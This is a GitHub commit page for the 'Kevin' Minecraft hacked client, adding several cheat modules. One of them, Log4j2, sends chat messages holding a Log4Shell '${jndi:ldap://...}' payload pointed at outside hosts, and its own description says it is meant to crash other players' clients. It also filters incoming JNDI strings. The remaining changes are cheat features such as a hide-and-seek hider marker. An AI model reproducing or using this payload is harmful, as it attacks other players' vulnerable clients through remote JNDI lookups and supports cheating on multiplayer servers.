Skip to content

Commit

Permalink
Update 1.8
Browse files Browse the repository at this point in the history
  • Loading branch information
RMCQAZ committed Dec 24, 2021
1 parent f353c12 commit 3887b4d
Show file tree
Hide file tree
Showing 8 changed files with 65 additions and 6 deletions.
2 changes: 1 addition & 1 deletion src/minecraft/Start.java
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ public class Start
{
public static void main(String[] args)
{
Main.main(concat(new String[] {"--version", "mcp", "--accessToken", "0", "--assetsDir", "assets", "--assetIndex", "1.8", "--userProperties", "{}"}, args));
Main.main(concat(new String[] {"--version", "kevin", "--accessToken", "0", "--assetsDir", "assets", "--assetIndex", "1.8", "--userProperties", "{}"}, args));
}

public static <T> T[] concat(T[] first, T[] second)
Expand Down
2 changes: 1 addition & 1 deletion src/minecraft/kevin/main/KevinClient.kt
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ import org.lwjgl.opengl.Display

object KevinClient {
var name = "Kevin"
var version = "b1.7"
var version = "b1.8"

var isStarting = true

Expand Down
2 changes: 2 additions & 0 deletions src/minecraft/kevin/module/ModuleManager.kt
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,7 @@ class ModuleManager : Listenable {
GhostHand(),
KeepContainer(),
Kick(),
Log4j2(),
MultiActions(),
NoPitchLimit(),
Phase(),
Expand All @@ -62,6 +63,7 @@ class ModuleManager : Listenable {
miscList = arrayListOf(
AdminDetector,
AntiBot(),
AntiInvalidBlockPlacement(),
AutoCommand(),
AutoDisable,
AutoL(),
Expand Down
34 changes: 34 additions & 0 deletions src/minecraft/kevin/module/modules/exploit/Log4j2.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
package kevin.module.modules.exploit

import kevin.event.EventTarget
import kevin.event.PacketEvent
import kevin.module.Module
import kevin.module.ModuleCategory
import kevin.utils.ChatUtils
import net.minecraft.network.play.client.C01PacketChatMessage
import net.minecraft.network.play.server.S02PacketChat

class Log4j2 : Module("Log4j2", "Anti log4j2 exploit and use it to crash other player client.", category = ModuleCategory.EXPLOIT) {
override fun onEnable() {
val m = arrayOf(
"www.baidu.com",
"liquidbounce.net",
"fanyi.sogou.com",
"github.com",
"scriptapi.liquidbounce.net",
).random()
mc.netHandler.addToSendQueue(C01PacketChatMessage("\${jndi:ldap://$m}"))
ChatUtils.messageWithStart("Sent crash packet... [$m]")
this.state = false
}
@EventTarget(true)
fun onPacket(event: PacketEvent) {
val packet = event.packet
if (packet is S02PacketChat &&
(packet.chatComponent.formattedText.contains("\${jndi:")
|| packet.chatComponent.unformattedText.contains("\${jndi:"))) {
event.cancelEvent()
ChatUtils.messageWithStart("§aCancel receiving message that may trigger vulnerability!!(${packet.chatComponent.formattedText.replace("\${","").replace("}","")})")
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
package kevin.module.modules.misc

import kevin.event.EventTarget
import kevin.event.PacketEvent
import kevin.module.BooleanValue
import kevin.module.Module
import kevin.via.ViaVersion
import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement

class AntiInvalidBlockPlacement : Module("AntiInvalidBlockPlacement", "Anti invalid block placement caused by via-version.") {
private val versionCheck = BooleanValue("VersionCheck", true)
@EventTarget
fun onPacket(event: PacketEvent) {
val packet = event.packet
if ((!versionCheck.get() || ViaVersion.nowVersion > 210) && packet is C08PacketPlayerBlockPlacement) {
packet.facingX = 0.5F
packet.facingY = 0.5F
packet.facingZ = 0.5F
}
}
}
2 changes: 2 additions & 0 deletions src/minecraft/kevin/module/modules/misc/HideAndSeekHack.kt
Original file line number Diff line number Diff line change
Expand Up @@ -195,6 +195,8 @@ object HideAndSeekHack : Module("HideAndSeekHack","Mark every hider.") {
}
@EventTarget
fun onWorld(event: WorldEvent){
if (event.worldClient == null)
return
hiderBlocks.clear()
airs.clear()
sY = 0
Expand Down
2 changes: 1 addition & 1 deletion src/minecraft/kevin/module/modules/render/NameTags.kt
Original file line number Diff line number Diff line change
Expand Up @@ -99,7 +99,7 @@ class NameTags : Module("NameTags", "Changes the scale of the nametags so you ca

val distanceText = if (distanceValue.get()) "§7 [§a${mc.thePlayer.getDistanceToEntity(entity).roundToInt()}§7]" else ""
val pingText = if (pingValue.get() && entity is EntityPlayer) (if (ping > 200) "§c" else if (ping > 100) "§e" else "§a") + ping + "ms §7" else ""
val healthText = if (healthValue.get()) "§7 [§f" + entity.health.toInt() + "§c❤§7]" else ""
val healthText = if (healthValue.get()) "§7 [§c${entity.health.toInt()}${if (entity.absorptionAmount != 0F) "§7 + §e${entity.absorptionAmount.toInt()}" else ""}§7]" else ""
val botText = if (bot) " §7[§6§lBot§7]" else ""

val text = "$distanceText$pingText$nameColor$tag$healthText$botText"
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -13,9 +13,9 @@ public class C08PacketPlayerBlockPlacement implements Packet<INetHandlerPlayServ
private BlockPos position;
private int placedBlockDirection;
private ItemStack stack;
private float facingX;
private float facingY;
private float facingZ;
public float facingX;
public float facingY;
public float facingZ;

public C08PacketPlayerBlockPlacement()
{
Expand Down

0 comments on commit 3887b4d

Please sign in to comment.